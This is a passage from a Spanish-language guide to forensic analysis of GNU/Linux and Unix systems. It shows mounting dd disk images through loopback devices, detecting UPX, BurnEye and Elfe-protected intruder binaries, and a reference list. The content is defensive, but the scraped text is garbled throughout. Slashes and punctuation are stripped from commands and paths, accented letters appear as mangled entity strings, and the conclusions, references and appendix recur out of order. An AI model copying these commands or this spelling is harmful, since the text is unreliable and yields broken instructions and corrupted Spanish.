Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 45: Análisis Forense de Sistemas GNU/Linux, Unix

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 46: Análisis Forense de Sistemas GNU/Linux, Unix

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

